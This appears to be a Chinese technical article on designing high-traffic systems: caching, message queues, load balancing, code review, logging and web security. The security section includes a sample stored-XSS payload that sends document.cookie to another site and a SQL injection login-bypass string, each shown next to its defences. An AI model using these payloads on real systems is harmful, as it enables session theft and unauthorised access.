如何打造一個日均PV千萬級別的大型系統?
作者介紹
周金橋,具有豐富的系統規劃、設計、開發、運維及團隊組織管理工作經驗,熟悉.Net、J2EE技術架構及應用。微軟2008-2012五屆最有價值專家(MVP),2009年單獨著有《ASP.NET夜話》一書,2010年與人合著《程式設計師的成長之路》。至今活躍在多個技術社群。
本文我選定的方向是如何開發一個大型系統,在這裡我對大型系統的定義為日均PV在千萬級以上,而京東和淘寶這類則屬於巨型系統了。因此在本篇中講述的都是基於一些開源免費的技術實現,至於通過F5硬體加速、DNS來實現負載均衡、CDN加速等需要花錢購買的技術或者服務則不再本篇介紹範圍之類。
一、從兩個系統說起
1、某移動網際網路公司伺服器端架構圖
上圖是某移動網際網路公司的伺服器端架構圖,它支撐了國內外數百萬客戶端的訪問請求,有如下特點:
- 多層級叢集,從Web伺服器層、NoSQL層級資料庫層都實現了叢集,這樣使得每一層的響應時間大大縮短,從而能夠在單位時間內響應更多請求;
- NoSQL應用(Memcached),在NoSQL領域Memcached和Redis都有大量的使用者群,在這個架構裡使用的是Memcached。
- 資料庫讀寫分離,當前大多數資料庫伺服器支援主從機制或訂閱釋出機制,這樣一來就為讀寫分離創造了條件,減少了資料庫競爭死鎖出發條件,使響應時間大為縮短(非資料庫叢集情況下還可以考慮分庫機制)。
- 負載均衡,Nginx實現Web伺服器的負載均衡,Memcached自帶負載均衡實現。
2、某公司生產管理系統架構圖
上圖是為某公司的一個分散型系統做的架構設計,這家公司擁有多個跨市、跨省的生產片區,在各片區都有自己的生態車間,各片區與總公司之間通過資料鏈路連線。這個系統的特點是所有的流水線上的產品都貼有唯一的條碼,在生產線的某個操作位操作之前都會掃描貼在產品上的條碼,系統會根據條碼做一些檢查工作,如:產品條碼是否應被使用過(比如之前應發貨給客戶過)、產品是否完成了本道工序之前的全部必須完成工序,如果滿足條件則記錄當前操作工序名稱、操作人、操作時間和操作結果等。
一件產品從上線到完成有數十道工序,而每月下線的產品有少則數十萬、多則數百萬,一個月下來的資料量也是不小的。特別是在跨廠區網路不穩定的情況下如何保證對生產的影響最小。
本系統架構特點:
- 所有業務邏輯集中在伺服器端,並以Service形式提供,這樣便於業務邏輯調整客戶端能及時得到最新更新;
- 部署Service的伺服器採用叢集部署,Nginx實現排程;
- NoSQL採用了Redis,與Memcached相比,Redis支援的資料型別更多,同時Redis帶有持久化功能,可以將每個條碼對應的產品的最終資訊儲存在Redis當中,這樣一般的查詢工作(如條碼是否被使用、產品當前狀態)都可以在Redis中查詢而不是資料庫查詢,這樣大大減輕了資料庫壓力;
- 資料庫採用了主從機制,實現了讀寫分離,也是為了提高響應速度;
- 使用了訊息佇列MQ和ETL,將一些可以非同步處理的動作存放在MQ中,然後由ETL來執行(比如訂單完成後以郵件形式通知相關人員);
- 實現了系統監控,通過Zabbix來對伺服器、應用及網路關鍵裝置實行7×24小時監控,重大異常及時郵件通知IT支援人員。
由於總部其它地方生產規模較小,所以生產分佈未採用複雜架構,不過因為從客戶處退回的不良產品都會在總部生產車間進行返修處理,因此總部生產系統需要儲存分部生產車間資料,因此分部生產車間資料會同時寫進分部生產資料庫和分部MQ伺服器,然後由總部ETL伺服器讀取寫入到總部系統中。在分部與總部網路中斷的情況下分部系統仍可獨立工作,直到網路恢復。
二、系統質量保證
1、單元測試
單元測試是指對軟體中的最小可測試單元進行檢查和驗證。通常而言,一個單元測試是用於判斷某個特定條件(或者場景)下某個特定函式的行為,常見的開發語言都有對應的單元測試框架,常見的單元測試工具:Junit/Nunit/xUnit.Net/Microsoft.VisualStudio.TestTool
關於單元測試的重要性和如何編寫單元測試用例,在本篇就不詳述了,網上有大量相關的文章。總之,越大型的系統、越重要的系統,單元測試的重要性越大。
針對一些需要外部依賴的單元測試,比如需要Web容器等,可以使用mock測試,Java測試人員可以使用EasyMock這個測試框架,其網址是http://easymock.org/。
2、程式碼質量管理平臺
對於多人蔘與的團隊專案,雖然大多數情況下會有編碼規範拉指導大家如何編寫團隊風格一致的編碼,但不能保證團隊中每個成員、尤其是後期加入的團隊成員仍能按照編碼規範來編寫程式碼,因此需要有一個平臺來保證,在這裡推薦SonarQube。
SonarQube是一個開源平臺,用於管理原始碼的質量。Sonar不只是一個質量資料報告工具,更是程式碼質量管理平臺。支援的語言包括:Java、PHP、C#、C、Cobol、PL/SQL、Flex 等。
主要特點:
- 程式碼覆蓋:通過單元測試,將會顯示哪行程式碼被選中
- 改善編碼規則
- 搜尋編碼規則:按照名字,外掛,啟用級別和類別進行查詢
- 專案搜尋:按照專案的名字進行查詢
- 對比資料:比較同一張表中的任何測量的趨勢
當然除了程式碼質量管理平臺外,還有藉助原始碼管理系統,並且在每次提交程式碼前進行程式碼稽核,這樣每次程式碼的異動都可以追溯出來。我管理和經歷過的一些重要系統中採用過這樣的做法:除了管理所有程式程式碼之外,還將系統中資料庫中的表、檢視、函式及儲存過程的建立都使用原始碼版本管理工具管控起來,而且粒度很小,每個物件的建立都是一個SQL檔案。這種方式雖然操作起來有些瑣碎,但對於程式碼的變遷追溯非常方便。
三、系統性能保證
1、快取
所謂快取就是將一些頻繁使用、但改動相對不平凡的資料儲存在記憶體中,每次更新這些資料的時候同時持久化到資料庫或檔案系統,並同步更新到快取中,查詢的時候儘可能利用快取。
快取的實現方法:自定義實現或利用NoSQL。
- 自定義實現
自定義實現可利用SDK中提供的類,如Dictionary等。
優點:可以區域性提高查詢效率;
缺點:不能跨應用、跨伺服器,僅限於單個應用;沒有較好快取生命週期管理策略。
- NoSQL
Memcached
優點:可以跨應用、跨伺服器,有靈活的生命週期管理策略;支援高併發;支援分散式。
缺點:不支援持久化,僅在記憶體儲存,重啟後資料丟失,需要“熱載入”;僅支援Key/Value。
Redis
優點:可以跨應用、跨伺服器,有靈活的生命週期管理策略;支援高併發;支援叢集;支援持久化;支援Key/Value、List、Set、Hash資料結構;
以上幾種方法都存在一個特點:需要通過Key去尋找對應的Value、List、Set或Hash。
除了Memcached和Redis之外,還出現了一些NoSQL資料庫和支援NoSQL的資料庫,前者如MongoDB,後者如PostgreSQL(>V9.4),下面是一個MongoDB與PostgreSQL的NoSQL特性的對比:
文件型NoSQL資料庫的特點:
- 不定義表結構
即使不定義表結構,也可以像定義了表結構一樣使用,還省去了變更表結構的麻煩。
- 可以使用複雜的查詢條件
跟鍵值儲存不同的是,面向文件的資料庫可以通過複雜的查詢條件來獲取資料,雖然不具備事務處理和Join這些關係型資料庫所具有的處理能力,但初次以外的其他處理基本上都能實現。
NoSQL主要是提高效率,關係資料庫可以保證資料安全;各有使用場景,一般的企業管理系統,沒多少併發量沒必要使用NoSQL,網際網路專案或要求併發的NoSQL使用比較多,但是最終重要的資料還是要儲存到關係資料庫。這也是為什麼很多公司會同時使用NoSQL和關係型資料庫的原因。
2、非同步
所謂非同步就是呼叫一個方法後並不等該方法執行完畢後再繼續執行後續的操作,而是呼叫完畢後馬上等待使用者的其它指令。印表機管理程式就是一個非同步的例子,某個人可能有幾個數百頁的文件需要列印,可以在開啟一個文件之後點選列印,然後繼續開啟另一個文件繼續點列印。儘管列印數百頁文件需要較長時間,但後續的列印請求會在列印管理程式中排隊,等第一個文件列印完成後再繼續第二個文件的列印。
非同步有兩個層面:程式語言層面的非同步和通過訊息佇列等機制實現的非同步。
語法層面非同步:像Java/C#等大多數語言都支援非同步處理。
- 訊息佇列實現非同步
用訊息佇列實現非同步只是訊息佇列的一個基本功能之一,訊息佇列還具有如下功能:
- 解耦
- 靈活性 & 峰值處理能力
- 可恢復性
- 送達保證
- 排序保證
- 緩衝
- 理解資料流
- 非同步通訊
注:訊息佇列成為在程序或應用之間進行通訊的最好形式。訊息佇列佇列是建立強大的分散式應用的關鍵。
常用訊息佇列有如下,可根據系統特點和運維支援團隊的掌握程度選擇:
- MSMQ
- ActiveMQ
- RabbitMQ
- ZeroMQ
- Kafka
- MetaMQ
- RocketMQ
3、負載均衡
負載均衡是根據某種負載策略把請求分發到叢集中的每一臺伺服器上,讓整個伺服器群來處理網站的請求。
常見負載均衡方案
Windows負載均衡:NLB
Linux負載均衡:LVS
Web負載均衡:Nginx
硬體級負載均衡:F5
前面幾種都是免費的解決方案,F5作為一種硬體及解決方案在一般企業很少用到。我目前知道的僅有一家世界級飲料公司使用了F5作為負載均衡解決方案,因為這個方案據說相當昂貴。
4、讀寫分離
讀寫分離為了確保資料庫產品的穩定性,很多資料庫擁有雙機熱備功能。
也就是,第一臺資料庫伺服器,是對外提供增刪改業務的生產伺服器;第二臺資料庫伺服器,主要進行讀的操作。
原理:讓主資料庫(master)處理事務性增、改、刪操作(INSERT、UPDATE、DELETE),而從資料庫(slave)處理SELECT查詢操作。
一般情況下我們是在程式碼中進行處理,但目前也有不少商業中介軟體形式的讀寫分離中介軟體,能自動將讀寫資料庫操作排程到不同資料庫上。
在大型系統中,有時候主、從資料庫都是一個叢集,這樣可以保證響應速度更快,同時叢集中單臺伺服器故障也不影響整個系統對外的響應。
四、系統安全性保證
1、XSS攻擊
- 防範XSS攻擊
XSS攻擊類似於SQL注入攻擊,攻擊之前,我們先找到一個存在XSS漏洞的網站,XSS漏洞分為兩種,一種是DOM Based XSS漏洞,另一種是Stored XSS漏洞。理論上,所有可輸入的地方沒有對輸入資料進行處理的話,都會存在XSS漏洞,漏洞的危害取決於攻擊程式碼的威力,攻擊程式碼也不侷限於script。
- DOM Based XSS
DOM Based XSS是一種基於網頁DOM結構的攻擊,該攻擊特點是中招的人是少數人。
- Stored XSS
Stored XSS是儲存式XSS漏洞,由於其攻擊程式碼已經儲存到伺服器上或者資料庫中,所以受害者是很多人。假如有兩個頁面,一個負責提交內容,一個負責將提交的內容(論壇發帖、讀帖就是這種形式的典型):
提交內容:<script>window.open(“www.b.com?param=”+document.cookie)</script>
頁面內容:<%=request.getParameter(“content”)%>
這樣使用者在a站提交的東西,在顯示的時候如果不加以處理就會開啟b站頁面將相關敏感內容顯示出來。
針對XSS攻擊的防範辦法:
Html encode
特殊字元過濾:<,>
2、SQL注入
- SQL Injection
所謂SQL注入式攻擊,就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字串,欺騙伺服器執行惡意的SQL命令。在某些表單中,使用者輸入的內容直接用來構造(或者影響)動態SQL命令,或作為儲存過程的輸入引數,這類表單特別容易受到SQL注入式攻擊。
例如我們在登入一個系統時,在軟體底層按照如下方式查詢資料:
登入SQL語句:
SELECT COUNT(*) FROM Login WHERE UserName=’admin’ AND Password=’123456‘
SELECT COUNT(*) FROM Login
WHERE UserName=’admin’–
Password=’123′
針對SQL注入防範辦法:
- 資料輸入驗證
- 特殊字元過濾:特殊字元過濾
- 引數化SQL語句(包括儲存過程)
- 不使用sa級別賬戶作為連線賬戶或限制連線IP
3、CSRF攻擊
CSRF(Cross-site request forgery)跨站請求偽造,也被稱為“One Click Attack”或者Session Riding,通常縮寫為CSRF或者XSRF,是一種對網站的惡意利用。儘管聽起來像跨站指令碼(XSS),但它與XSS非常不同,並且攻擊方式幾乎相左。XSS利用站點內的信任使用者,而CSRF則通過偽裝來自受信任使用者的請求來利用受信任的網站。與XSS攻擊相比,CSRF攻擊往往不大流行(因此對其進行防範的資源也相當稀少)和難以防範,所以被認為比XSS更具危險性。
其核心策略是利用了瀏覽器Cookie或者伺服器Session策略,盜取使用者身份。
針對CSRF攻擊防範辦法:
- 表單Token
- 驗證碼
- Referer檢查
- 關鍵操作身份確認
4、其它攻擊
Error Code:即錯誤程式碼回顯,許多Web伺服器為除錯方便預設顯示詳盡錯誤資訊,如錯誤發生的上下文、伺服器及應用資訊等,容易被惡意利用。
系統或者框架漏洞:如IIS6.0以下版本存在“JPG漏洞”;Apache Struts2服務在開啟動態方法呼叫任意方法漏洞(CVE-2016-3081);OpenSSL的heartbeat漏洞(CVE-2014-0160);Apache解析漏洞;Nginx(<V0.8.37)空位元組程式碼執行漏洞;IIS7.0及Nginx(<V0.8.37)畸形解析漏洞;檔案上傳漏洞;路徑遍歷漏洞;
防範辦法:
- 上傳檔案時對MIME進行檢查,必要情況下對上傳檔案更名
- 及時關注安全網站及產品官方網站,發現漏洞及時打補丁
- 對Web Server運用的使用者角色許可權進行限制
- 使用漏洞掃描工具模擬攻擊
下面是一些我見過的被攻擊後的系統截圖,如下圖是CCTV音樂頻道被攻擊的截圖:
還有本人2008年前後搭建PHPWind執行的畫面:
上圖中是本人2006年前後搭建的一個論壇,有人利用系統漏洞註冊了很多使用者名稱為空的使用者(其實是身份遺失),,然後又利用這些賬戶在論壇中大量釋出廣告、色情等違法違紀的帖子,因為使用了一些不可見字元進行註冊的,在後臺無法管理,最後只好在資料庫中操作管理了。
五、開發相關的經驗教訓
1、應用日誌記錄
以前團隊運維著一個老系統,系統中沒有日誌功能,而系統的操作人員的計算機水平又較低,每次打電話都是說系統不能用或者是一些根本無法快速定位原因的描述,每次接到求助後需要花費大量時間來分析定位原因,後來將系統中增加了日誌功能,並且在網路狀態連通情況下可自動將錯誤日誌以郵件形式傳送到負責同事組成的使用者組,自此以後處理這類問題的響應時間大大縮短了,雙方都很滿意。
現在已經有很多開源日誌庫,比如.NET的Log4Net,Java的Log4j,可以很輕鬆地配置啟用日誌功能。利用日誌元件可以將資訊記錄到檔案或資料庫,便於發現問題時根據上下文環境發現問題,這一點在除錯多執行緒時尤其重要。
日誌級別:FATAL(致命錯誤)、ERROR(一般錯誤)、WARN(警告)、INFO(一般資訊)、DEBUG(除錯資訊)。
注意:在除錯環境中時日誌級別儘量低(warn/info),在生產環境中日誌級別儘量高(error),且對日誌檔案大小一定要進行控制。不然也會產生問題。
案例:某國內有名的管業集團公司的一個系統的重要模組發生問題,啟用了日誌功能以便通過日誌元件快速將問題定位並修復。在釋出到生產環境時,執行一段時間之後發現程式執行效率相當低下,多位開發人員對模組程式碼進行效能分析未發現問題,大家發現同樣的資料量和操作在生產環境和開發環境效率差巨大,無意中發現生產伺服器上日誌檔案已超過5G!事後發現是由於疏忽未調高日誌級別且未對日誌進行控制,調整日誌模式為按日記錄,問題解除。
參考:《log4net使用詳解》 http://blog.csdn.net/zhoufoxcn/article/details/222053
2、歷史記錄追蹤
- 程式碼管控
儘可能使用程式碼管控工具對原始碼進行管控,如SVN/TFS/Git,如果有可能不但管控程式程式碼,還要管控資料庫相關的SQL檔案(包括初始化指令碼及儲存過程和使用ORM框架中的Mapping檔案),做到系統的一切變動皆有記錄。
- 程式碼稽核
任何人提交程式碼都必須本人本地編譯、除錯無誤後,再有人review後方可提交,且針對bug修復的提交需註明所修復的bug資訊。
- Bug記錄
通過Bug記錄系統記錄整個bug的生命週期,包括髮現、修復、關閉。TFS本身支援bug記錄,開源系統中禪道也是一個不錯的Bug記錄工具。
六、總結
本篇主要是就係統從開發到最終部署運維過程中常用的技術、框架和方法做了一個總結,當然以上經驗總結來源於本人從業以來所經歷的專案中的經驗和教訓,可能還有更好更完美的方案,在此權當拋磚引玉
原文來自微信公眾號:DBAplus社群